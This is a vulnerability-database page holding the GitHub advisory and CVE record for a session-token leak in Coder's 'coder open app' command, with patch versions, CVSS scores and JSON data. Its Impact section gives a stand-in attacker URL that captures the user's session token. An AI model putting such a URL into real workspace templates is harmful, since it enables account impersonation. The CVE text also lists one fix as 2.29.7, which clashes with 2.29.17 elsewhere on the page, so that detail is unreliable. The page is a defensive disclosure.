Vulnerability-Lookup

GHSA-V54H-CP2W-9X4G

Vulnerability from github – Published: 2026-07-06 21:07 – Updated: 2026-07-06 21:07

Summary

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Details

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

Release line	Patched version
2.34	v2.34.2
2.33	v2.33.8
2.32	v2.32.7
2.29 (ESR)	v2.29.17

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.34.0"
            },
            {
              "fixed": "2.34.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.33.0"
            },
            {
              "fixed": "2.33.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.30.0"
            },
            {
              "fixed": "2.32.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.29.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T21:07:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user\u0027s real session token before handing the URL to the OS open handler.\n\n\u003e **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.\n\n### Impact\n\nWorkspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user\u0027s session token to the attacker and enables full account impersonation for the token\u0027s lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app.\n\n### Patches\n\nThe fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend.\n\nThe fix was backported to all supported release lines:\n\n| Release line | Patched version |\n|---|---|\n| 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) |\n| 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) |\n| 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) |\n| 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) |\n\n### Workarounds\n\nAvoid running `coder open app` for untrusted workspaces.\n\n### Resources\n\n- Fix: #26146\n\n### Credits\n\nCoder would like to thank Anthropic\u0027s Security Team (ANT-2026-22457) for independently disclosing this issue!",
  "id": "GHSA-v54h-cp2w-9x4g",
  "modified": "2026-07-06T21:07:40Z",
  "published": "2026-07-06T21:07:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/pull/26146"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/coder"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coder\u0027s session token leaked to arbitrary hosts via `coder open app` for external workspace apps"
}

CVE-2026-55431 (GCVE-0-2026-55431)

Vulnerability from cvelistv5 – Published: 2026-07-08 00:10 – Updated: 2026-07-08 13:57

Title

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Summary

Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. As a workaround, avoid running `coder open app` for untrusted workspaces.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-522 - Insufficiently Protected Credentials
CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

GitHub_M

References

6 references

URL	Tags
https://github.com/coder/coder/security/advisorie…	x_refsource_CONFIRM
https://github.com/coder/coder/pull/26146	x_refsource_MISC
https://github.com/coder/coder/releases/tag/v2.29.17	x_refsource_MISC
https://github.com/coder/coder/releases/tag/v2.32.7	x_refsource_MISC
https://github.com/coder/coder/releases/tag/v2.33.8	x_refsource_MISC
https://github.com/coder/coder/releases/tag/v2.34.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
coder	coder	Affected: >= 2.34.0, < 2.34.2 Affected: >= 2.33.0, < 2.33.8 Affected: >= 2.30.0, < 2.32.7 Affected: < 2.29.17

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55431",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-08T13:56:53.370657Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-08T13:57:02.059Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "coder",
          "vendor": "coder",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.34.0, \u003c 2.34.2"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.33.0, \u003c 2.33.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.30.0, \u003c 2.32.7"
            },
            {
              "status": "affected",
              "version": "\u003c 2.29.17"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user\u0027s real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. As a workaround, avoid running `coder open app` for untrusted workspaces."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-522",
              "description": "CWE-522: Insufficiently Protected Credentials",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-08T00:10:49.165Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g"
        },
        {
          "name": "https://github.com/coder/coder/pull/26146",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/coder/coder/pull/26146"
        },
        {
          "name": "https://github.com/coder/coder/releases/tag/v2.29.17",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/coder/coder/releases/tag/v2.29.17"
        },
        {
          "name": "https://github.com/coder/coder/releases/tag/v2.32.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/coder/coder/releases/tag/v2.32.7"
        },
        {
          "name": "https://github.com/coder/coder/releases/tag/v2.33.8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/coder/coder/releases/tag/v2.33.8"
        },
        {
          "name": "https://github.com/coder/coder/releases/tag/v2.34.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/coder/coder/releases/tag/v2.34.2"
        }
      ],
      "source": {
        "advisory": "GHSA-v54h-cp2w-9x4g",
        "discovery": "UNKNOWN"
      },
      "title": "Coder\u0027s session token leaked to arbitrary hosts via `coder open app` for external workspace apps"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55431",
    "datePublished": "2026-07-08T00:10:49.165Z",
    "dateReserved": "2026-06-16T21:59:57.017Z",
    "dateUpdated": "2026-07-08T13:57:02.059Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-V54H-CP2W-9X4G

Summary

Impact

Patches

Workarounds

Resources

Credits

CVE-2026-55431 (GCVE-0-2026-55431)

Tags

Sightings

Nomenclature